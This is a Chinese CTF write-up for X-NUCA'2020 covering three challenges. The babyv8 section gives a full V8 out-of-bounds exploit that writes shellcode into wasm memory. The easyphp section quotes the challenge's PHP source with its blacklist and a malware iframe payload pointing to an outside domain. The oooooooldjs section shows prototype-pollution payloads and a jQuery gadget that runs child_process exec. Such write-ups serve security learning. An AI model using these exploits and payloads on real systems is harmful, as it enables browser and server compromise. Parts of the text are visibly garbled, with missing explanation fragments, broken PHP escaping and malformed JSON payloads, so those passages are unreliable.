10月31日,由中国科学院、深圳市人民政府、中国网络空间安全协会指导,中国科学院办公厅、中国科学院信息工程研究所、深圳市科技创新委员会主办,中国科学院大学网络空间安全学院、深圳大学承办的2020年全国高校网安联赛暨中国科学院第一届网络安全运维大师赛(X-NUCA’2020)线上赛顺利举办。永信至诚连续四年作为平台和技术支持单位为大赛护航。
本次X-NUCA线上专题赛持续36小时
在放出的26道高质量的赛题中
最终被攻克20题
因未设置签到题目
全场第一滴血在比赛开始后的100分钟后才终于出现
此次题目整体难度较高
为了让大家得到更多的学习交流机会
以下是春秋GAME联合组委会
提供的部分题目的解题思路
PWN
—babyv8
这是一道非常简单的v8 pwn,patch只有一行,在CodeStubAssembler::BuildAppendJSArray中可以看到Increment(&var_length);变成了Increment(&var_length, 3);所以在arr.push操作的时候length会+3,所以可以构造oob,但是如果在length>elements length的时候会触发array的fix,会增加element的长度。
稍微了解一下v8的数据结构的内存布局就可以发现在没有进行gc的时候elements是在array object的低地址处,所以这个oob刚好可以修改array object的length和elements addr,这样可以构造在特定区域的任意地址读写(因为8.0后是Pointer Compression),然后通过内存布局修改dataview的backingstore来构造任意地址读写,最后在wasm的rwx段写shellcode就行,因为远程没给交互,所以需要shellcode执行flag_printer。
总而言之这是个非常简单的v8题目,如果没接触过的新人我也预计的是4-6个小时就可以做出来,只需要学习v8的object在内存的布局就行。
下面是我的exp:
class Memory{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
d2u(val){
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
u2d(val){
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
hex(val){
return val.toString(16).padStart(16, "0");
}
}
var mem = new Memory();
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main;
var a1 = [1.1, 2.2, 3.3];
var a = [1.1, 2.2, 3.3];
var b = [f,f];
var buf = new ArrayBuffer(0x200);
var dv = new DataView(buf);
a1.pop();
a1.push(3.3);
a1_addr = mem.d2u(a1[4]) & 0xFFFFFFFF;
a1[4] = mem.u2d(0x10000000000+a1_addr);
function leak32(addr, offset=0){
a1[0xa] = mem.u2d(0x10000000000+addr);
//print('0x' + mem.d2u(a[offset]).toString(16));
return (mem.d2u(a[offset]) - (mem.d2u(a[offset]) & 0xFFFFFFFF)) / 0x100000000;
}
function leak64(addr, offset=0){
a1[0xa] = mem.u2d(0x10000000000+addr);
//print('0x' + mem.d2u(a[offset]).toString(16));
return mem.d2u(a[offset]);
}
a.pop();
//%SystemBreak();
a.push(3.3);
print('0x'+ mem.d2u(a[4]).toString(16));
elements_addr = mem.d2u(a[4]) & 0xFFFFFFFF;
print('elements addr: 0x' + elements_addr.toString(16));
a[4] = mem.u2d(0x10000000000+elements_addr);
func_addr = (mem.d2u(a[0x6]) - (mem.d2u(a[0x6]) & 0xFFFFFFFF)) / 0x100000000;
print('func_addr: 0x'+ func_addr.toString(16));
backing_store = mem.d2u(a[0x14])
print('backing store: 0x'+ backing_store.toString(16));
print('backing store(): 0x'+ (backing_store * 0x1000).toString(16));
//%SystemBreak();
//leak rwx
//function_addr->shared_info_addr->WasmExportedFunctionData->instance_addr->rwx_addr
shared_info_addr = leak32(func_addr);
print('shared_info_addr: 0x' + shared_info_addr.toString(16));
WasmExportedFunctionData = leak32(shared_info_addr-0x20, 3);
print('WasmExportedFunctionData: 0x' + WasmExportedFunctionData.toString(16));
instance_addr = leak32(WasmExportedFunctionData-0x4);
print('instance_addr: 0x' + instance_addr.toString(16));
rwx_addr = leak64(instance_addr+0x60);
print('rwx_addr: 0x' + rwx_addr.toString(16));
//write backing store
a1[0xa] = mem.u2d(0x10000000000+elements_addr+4);
a[0xb] = mem.u2d(rwx_addr);
//let sc = [0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05];
let sc = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 115, 104, 111, 117, 100, 115, 1, 1, 72, 49, 4, 36, 72, 184, 46, 47, 102, 108, 97, 103, 95, 112, 80, 72, 137, 231, 49, 210, 49, 246, 106, 59, 88, 15, 5]
for(var i = 0; i<sc.length; i++){
dv.setUint8(i, sc[i], true);
}
f();
//%SystemBreak();
Web
—easyphp_revenge
出这个题目主要是去年在做tokyowestern的ctf时找到了一个很有意思的恶意文件,windows defender处理它的行为不是之前已知的删除整个文件,而是会删除从这个恶意payload开始到文件末尾的文件,也就是部分删除。大概的场景我的猜测是,有些恶意文件的行为是污染整个文件目录之类,如果删除所有存在恶意payload的文件会对系统产生比较大的影响,因此只删除了部分文件,当然这纯粹是我瞎猜的。
windows defender
.htaccess
文件,因此需要想办法去除文件末尾增加的nhope no unintendednhope no unintendednhope no unintendedn
字符串。 直接给出payload,自行将
ixrame
换成iframe
<ixrame src="http://www.52CPS.COM/goto/mm.Htm" width=0 height=0></ixrame>
之所以对文件内容的检查比较严格,是因为我以为选手们看到windows环境会立马想到利用defender,因此避免题目放出来就被立刻做掉的情况,我把payload的可用范围限制的比较死。这个payload在virustotal上面下载windows的病毒样本应该是能找到的,毕竟当时我就是那么发现的它。
还有一点就是我在最近测试的时候发现在windows10 2004上这个payload的行为已经改变成删除整个文件了,但是在windows server2019也就是题目环境中仍然生效,想要复现的同学需要使用windows server2019。
<?php
$userHome = md5($_SERVER['REMOTE_ADDR']);
$arr = explode('\', getcwd());
$num = count($arr);
if($arr[$num - 1] !== $userHome) {
echo "no access to this challenge";
die();
}
if(!isset($_GET['content']) || !isset($_GET['filename']) || !isset($_GET['teamtoken'])){
highlight_file(__FILE__);
die();
}
include($_SERVER['DOCUMENT_ROOT'] . "/function.php");
$content = $_GET['content'];
$filename = $_GET['filename'];
$token = $_GET['teamtoken'];
if(!is_string($content) || strlen($content)>125) {
echo "Hacker";
die();
}
if(!is_string($filename) || strlen($filename)>10) {
echo "Hacker";
die();
}
if(!is_string($token) || strlen($token)!==32) {
echo "Hacker";
die();
}
for($i=0;$i<31;$i++) {
if($i !== 10 && stristr($content, chr($i))) {
echo "Hacker";
die();
}
}
for($i=127;$i<256;$i++) {
if(stristr($content, chr($i))) {
echo "Hacker";
die();
}
}
$content_blacklist = array("session", "html", "type", "upload", "append", "prepend", "log", "script", "error", "include", "zend", "htaccess", "pcre", "\", "#");
foreach($content_blacklist as $keywords) {
if(stristr($content, $keywords)) {
echo "Hacker";
die();
}
}
$filename_whitelist = array(".htaccess");
$append_string = "nhope no unintendednhope no unintendednhope no unintendedn";
if(preg_match("/icq[0-9a-f]{29}/", $token) === 1) {
if (checkToken($token, $content) === true) {
if(array_search($filename, $filename_whitelist) !== FALSE){
file_put_contents(getcwd() . '/' . $filename, $content . $append_string);
} else {
echo $filename;
}
} else {
echo "use your valid teamtoken in icq, and you only have 30 times submit your payload.";
die();
}
} else {
echo "Hacker";
die();
}
?>
output_handler
,你可以指定处理输出流的函数。 output_handler
为file_get_contents
时,即可控制filename为/flag
,获得flag。Web
—oooooooldjs
这道题原型链污染的考点设计初衷是出题的时候搜寻到了很多基础库的原型链污染漏洞,但是如果直接把基础库的漏洞拿过来写在题目逻辑里太容易被发现了,就想怎么让这个环节更有意思一点,于是就去审了几个依赖于有漏洞的基础组件的上层功能库,找到了express-validator这个基于lodash的无法控制value的原型链污染。这个限制又让我觉得此前的原型链污染是不是确实太友好了,如果只给有限的污染能力我们是不是也可以做一些有意思的事情呢?基于这些想法,设计了这道题目。
三个js文件对应三个考点:
app.js -> 有限的原型链污染
entity.js -> 异步产生的bug
utils.js -> jQuery.js RCE gadget
下面是简易版wp。
''
{"".constructor.prototype["crossDomain": "1 "}
Object.prototype.crossDomain = ''
#2 异步逻辑错误篡改block的type
D(id) {
let di, dt
for (const index in this.datas) {
if (this.datas[index].id === id) {
dt = this.types[index]
this.types.splice(index, 1)
di = index
}
}
if (dt === 'url') {
requests(this.datas[di].block, "DELETE").finally(() => {
this.datas = this.datas.filter((value) => value.id !== id)
})
} else {
this.datas = this.datas.filter((value) => value.id !== id)
}
}
但是删除的时候是先pop了this.types
中的内容,然后把this.datas
内容的删除放到了一个异步函数requests
中去。由于异步函数的特性,导致了两个数组的信息存在一个时间差内的不一致,确切的说就是this.datas
数组在某段时间内比this.types
长一点。第二个考点就是要抓住这个时间窗口,构造一段数据使得本来是text
类型的内容,从this.types
中取出来的类型确实url
,从而控制requests
函数的url参数。
具体的构造方式就是在this.datas
比this.types
长n个的这个时间段内,先POST 1个text
类型的数据,内容是我们自己的url,然后POST n个url类型的数据,内容符合要求即可。这时我们第一次POST的text
类型的url,从this.types
取出来就是url
。
#3 触发jQuery中的RCE Gadget
访问我们上一步POST的那个text
类型的数据,让题目访问我们自己的url。url指向的返回头和内容如下:
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With, crossDomain
Content-Length: 133
this.constructor.constructor('return process.mainModule.require("child_process").exec("open /System/Applications/Calculator.app")')()
calculator!
看了下wp,0ops的师傅竟然做到了任意原型链污染(惊
由于手贱加了个json中间件,允许传入object,导致可以污染任意值,payload如下
{"block": {"__proto__": {"a": 123}}, "block"].__proto__["a": 123}
相当于劫持了value,具体师傅们自己分析啦。
师傅们tql
点击下方“阅读原文”,查看更多赛题WP~
原文始发于微信公众号(春秋伽玛):解题思路 | X-NUCA’2020线上专题赛官方WP来啦~
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论